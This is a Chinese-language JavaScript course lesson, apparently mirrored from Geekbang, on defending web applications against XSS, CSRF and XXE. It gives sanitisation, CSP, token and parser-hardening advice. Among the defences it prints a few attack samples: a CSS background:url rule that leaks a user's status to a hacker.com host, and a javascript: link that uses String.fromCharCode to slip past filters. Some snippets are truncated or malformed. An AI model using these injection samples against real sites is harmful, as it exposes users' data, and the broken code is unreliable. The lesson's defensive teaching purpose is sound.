

31 | 安全：JS代码和程序都需要注意哪些安全问题？

2022-11-29 石川 来自北京



天下无鱼

<https://shikey.com/>

《JavaScript进阶实战课》

[课程介绍 >](#)



讲述：石川

时长 11:29 大小 10.49M



你好，我是石川。

对于大多 Web 应用来说，我们的程序所提供的功能是对外公开的，这给我们带来了流量的同时，也给我们的系统带来了风险。而且越是关注度高的应用，就越有可能遭到攻击，所以安全是任何应用都要重视的一个话题。

那么今天，我们来看一下在 JavaScript 中需要做的安全考虑。这里就包含了跨站脚本攻击（XSS）、跨站请求伪造（CSRF）和 XXE 漏洞。下面，我们来一一看一下这些问题，总结出相关的安全解决方法。

跨站脚本攻击

跨站脚本攻击是一种非常常见的攻击。顾名思义，它指的就是通过来自跨网站的脚本发起的攻击。为了降低出现 XSS 漏洞的可能性，有一条重要的开发原则是我们**应该禁止任何用户创建**

的未经过处理的数据传递到 DOM 中。而当用户创建的数据必须传递到 DOM 中时，应该尽量以字符串的形式传递。



类字符串检查

我们可以通过多种方式在客户端和服务端对数据进行检查。其中一种方法是利用 JavaScript 中的内置函数 `JSON.parse()`，它可以将文本转换为 JSON 对象，因此将数字和字符串与转换后的内容做对比。如果一致，就可以通过检查，但函数等复杂的数据类型的对比是会失败的，因为它们不符合与 JSON 兼容的格式。

复制代码

```
1 var isStringLike = function(val) {  
2   try {  
3     return JSON.stringify(JSON.parse(val)) === val;  
4   } catch (e) {  
5     console.log('not string-like');  
6   }  
7 };
```

字符串净化

另外需要注意的是，字符串 / 类字符串虽然不是 DOM 本身，但仍然可以被解释或转换为 DOM。为了避免这种情况，我们必须确保 DOM 会将其直译为字符串或类字符串，而不作转换。

因此在使用 DOM API 时，需要注意的是，**任何将文本转换为 DOM 或脚本的行为都是潜在的 XSS 攻击**。我们应该尽量避免使用 `innerHTML`、`DOMParser`、`Blob` 和 `SVG` 这些接口。以 `innerHTML` 为例，我们最好使用 `innerText` 而不是 `innerHTML` 来注入 DOM，因为 `innerText` 会做净化处理，将任何看起来像 HTML 标签的内容表示为字符串。

复制代码

```
1 var userInput = '<strong>hello, world!</strong>';  
2 var div = document.querySelector('#userComment');  
3 div.innerText = userInput; // 这里的标签被解释成字符串
```

HTML 实体编码

另外一种防御措施是，对用户提供的数据中存在的所有 HTML 标记执行 HTML 实体转义。实体编码允许某些特定的字符在浏览器中显示，但不能将其解释为 JavaScript 来执行。比如标签 `<>` 对应的编码就是 `& + lt;` 和 `& + gt;`。



CSS 净化

CSS 的净化包括了净化任何 HTTP 相关的 CSS 属性，或者只允许用户更改指定的 CSS 字段，又或者干脆禁止用户上传 CSS 等。因为相关的属性，比如 `background:url`，可能会导致黑客远程改变页面的展示。

复制代码

```
1 #bankMember[status="vip"] {  
2   background:url("https://www.hacker.com/incomes?status=vip");  
3 }
```

内容安全策略

内容安全策略（CSP）是一个安全配置工具。CSP 可以允许我们以白名单的方式列出允许动态加载脚本的网站。实现 CSP 的方式很简单。在后端的话，可以通过加 `Content-Security-Policy` 的标头来实现；如果是在前端的话，则可以通过元标签实现。

复制代码

```
1 Content-Security-Policy: script-src "self" https://api.example.com.  
2  
3 <meta http-equiv="Content-Security-Policy" content="script-src https://www.exar
```

另外，默认的情况下，CSP 可以禁止任何形式的内联脚本的执行。在使用 CSP 的时候，要注意不要使用 `eval()`，或者类似 `eval()` 的字符串。`eval()` 的参数是一个字符串，但如果字符串表示的是一个函数表达式，`eval()` 会对表达式进行求值。如果参数表示一个或多个 JavaScript 语句，那么 `eval()` 也会执行这些语句。

复制代码

```
1 eval("17+9") // 26  
2 var countdownTimer = function(mins, msg) {  
3   setTimeout(`console.log(`${msg})`);`, mins * 60 * 1000);  
4 };
```

尽量避免的 API

有些 DOM API 是要尽量避免使用的。下面我们再看看 DOMParser API，它可以将 <https://shikey.com/> `parseFromString` 方法中的字符串内容加载到 DOM 节点中。对于从服务器端加载结构化的 DOM，这种方式可能很方便，但是却有安全的隐患。而通过 `document.createElement()` 和 `document.appendChild()` 可以降低风险，虽然使用这两种方法增加了人工成本，但是可控性会更高。因为在这种情况下，DOM 的结构和标签名称的控制权会在开发者自己手中，而负载只负责内容。

复制代码

```
1 var parser = new DOMParser();
2 var html = parser.parseFromString('<script>alert("hi");</script>`');
```

Blob 和 SVG 的 API 也是需要注意的接口，因为它们存储任意数据，并且能够执行代码，所以很容易成为污点汇聚点（sinks）。Blob 可以以多种格式存储数据，而 base64 的 blob 可以存储任意数据。可缩放矢量图形（SVG）非常适合在多种设备上显示一致的图像，但由于它依赖于允许脚本执行的 XML 规范，SVG 可以启动任何类型的 JavaScript 加载，因此使用的风险要大于其他类型的可视化图像。

另外，即使是将不带标签的字符串注入 DOM 时，要确保脚本不会趁虚而入也很难。比如下面的例子就可以绕开标签或单双引号的检查，通过冒号和字符串方法执行弹窗脚本，显示"XSS"。

复制代码

```
1 <a href="javascript:alert(String.fromCharCode(88,83,83))">click me</a>
```

跨站请求伪造

以上就是针对跨站脚本攻击的一些防御方案，接下来我们看看跨站请求伪造（CSRF），这也是另外一个需要注意的安全风险。

请求来源检查

因为 CSRF 的请求是来自应用以外的，所以我们可以通过检查请求源来减少相关风险。在 HTTP 中，有两个标头可以帮助我们检查请求的源头，它们分别是 Referer 和 Origin。这两个

标头不能通过 JavaScript 在浏览器中修改，所以它们的使用可以大大降低 CSRF 攻击。Origin 标头只在 HTTP POST 请求中发送，它表明的就是请求的来源，和 Referer 不同，这个标头也在 HTTPS 请求中存在。



复制代码

```
1 Origin: https://www.example.com:80
```

Referer 标头也是表示请求来源。除非设置成 rel=noreferrer，否则它的显示如下：

复制代码

```
1 Referer: https://www.example.com:80
```

如果可以的话，你应该两个都检查。如果两个都没有，那基本可以假设这个请求不是标准的请求并且应该被拒绝。这两个标头是安全的第一道防线，但在有一种情况下，它可能会破防。如果攻击者被加入来源白名单了，特别是当你的网站允许用户生成内容，这时可能就需要额外的安全策略来防止类似的攻击了。

使用 CSRF 令牌

使用 CSRF 令牌也是防止跨站请求伪造的方法之一。它的实现也很简单，服务器端发送一个令牌给到客户端。

这个令牌是通过很低概率出现哈希冲突的加密算法生成的，也就是说生成两个一样的令牌的概率非常低。这个令牌可以随时重新生成，但通常是在每次会话中生成一次，每一次请求会把这个令牌通过表单或 Ajax 回传。当请求到达服务器端的时候，这个令牌会被验证，验证的内容会包含是否过期、真实性、是否被篡改等等。因为这个令牌对于每个会话和用户来讲都是唯一的，所以在使用令牌的情况下，CSRF 的攻击可能性会大大降低。

下面我们再来看看无状态的令牌。在过去，特别是 REST API 兴起之前，很多服务器会保留一个用户已连接的记录，所以服务器可以为客户管理令牌。但是在现代网络应用中，无状态往往是 API 设计的一个先决条件。通过加密，CSRF 令牌可以轻易地被加到无状态的 API 中。像身份认证令牌一样，CSRF 令牌包含一个用户的唯一识别，一个时间戳，一个密钥只在服务器端的随机密码。这样的一个无状态令牌，不仅更实用，而且也会减少服务器资源的使用，降低会话管理所带来的成本。

无状态的 GET 请求

因为通常最容易发布的 CSRF 攻击是通过 HTTP GET 请求，所以正确地设计 API 的结构可以降低这样的风险。HTTP GET 请求不应该存储或修改任何的服务器端状态，这样做会使未来的 HTTP GET 请求或修改引起 CSRF 攻击。

复制代码

```
1 // GET
2 var user = function(request, response) {
3   getUserById(request.query.id).then((user) => {
4     if (request.query.updates) { user.update(request.updates); }
5     return response.json(user);
6   });
7 };
```

参考代码示例，第一个 API 把两个事务合并成了一个请求 + 一个可选的更新，第二个 API 把获取和更新分成了 GET 和 POST 两个请求。第一个 API 很有可能被 CSRF 攻击者利用；而第二个 API，虽然也可能被攻击，但至少可以屏蔽掉链接、图片或其它 HTTP GET 风格的攻击。

复制代码

```
1 // GET
2 var getUser = function(request, response) {
3   getUserById(request.query.id).then((user) => {
4     return response.json(user);
5   });
6 };
7 // POST
8 var updateUser = function(request, response) {
9   getUserById(request.query.id).then((user) => {
10     user.update(request.updates).then((updated) => {
11       if (!updated) { return response.sendStatus(400); }
12       return response.sendStatus(200);
13     });
14   });
15 };
```

泛系统的 CSRF 防御

根据木桶原则，一个系统往往是最弱的环节影响了这个系统的安全性。所以我们需要注意的是，如何搭建一个泛系统的 CSRF 防御。大多的现代服务器都允许创建一个在执行任何逻辑

前，在所有访问中都可以路由到的中间件。

这样的一个中间件检查我们前面说的 **Origin/Referer** 是否正确，**CSRF** 令牌是否有效。如果没有通过这一系列的检查，这个请求就应该中断。只有通过检查的请求，才可以继续后续的执行。因为这个中间件依赖一个客户端对每一个请求传一个 **CSRF** 令牌到服务器端，作为优化，这个检查也可以复制到前端。比如可以用包含令牌的代理模式来代替 **XHR** 默认的行为，或者也可以写一个包装器把 **XHR** 和令牌包装在一个工具里来做到复用。

XXE 漏洞

XXE 是 **XML** 外部实体注入（**XML External Entity**）的意思。防止这个攻击的方法相对简单，我们可以通过在 **XML** 解析器中禁止外部实体的方式来防御这种攻击。

复制代码

```
1 setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
```

对基于 **Java** 语言的 **XML** 解析器，**OWASP** 把 **XXE** 标记为尤为危险；而对于其它语言来说，**XML** 外部实体默认可能就是禁止的。但为了安全起见，无论使用什么语言，最好还是根据语言提供的 **API** 文档找到相关的默认选项，来看是否需要做相关安全处理。

而且如果有可能的话，使用 **JSON** 来替代 **XML** 也是很好的选择。**JSON** 相对比 **XML** 更轻盈、更灵活，能使负载更加快速和简便。

总结

今天，我们看到了一些 **Web** 中常见的漏洞和攻击。网络和信息安全不仅是影响业务，更是对用户数字资产和隐私的一种保护，所以在安全方面，真的是投入再多的精力都不过分。这节课我们只是站在 **Web** 应用的角度分析了一些常见的漏洞，实际上安全是一个更大的值得系统化思考的问题。


思考题


今天，我们提到了 **XML** 和 **SVG** 都是基于 **XML Schema** 的，**XML** 我们大多可以通过 **JSON** 来代替，那么你知道 **SVG** 可以通过什么来代替吗？

欢迎在留言区分享你的答案、交流学习心得或者提出问题，如果觉得有收获，也欢迎你把今天的内容分享给更多的朋友。我们下节课再见！



分享给需要的人，Ta购买本课程，你将得 18 元

 生成海报并分享

 赞 0  提建议

© 版权归极客邦科技所有，未经许可不得传播售卖。页面已增加防盗追踪，如有侵权极客邦将依法追究其法律责任。

上一篇 30 | 网络：从HTTP/1到HTTP/3，你都需要了解什么？

下一篇 32 | 测试（一）：开发到重构中的测试

更多课程推荐

Vue3 企业级项目实战课

进阶高手的 Vue3+Node.js 全栈开发训练

杨文坚

前阿里前端 leader

前腾讯 IMWeb 团队高级前端工程师



新版升级：点击「 请朋友读」，20位好友免费读，邀请订阅更有现金奖励。

精选留言

 写留言

由作者筛选后的优质留言将会公开显示，欢迎踊跃留言。

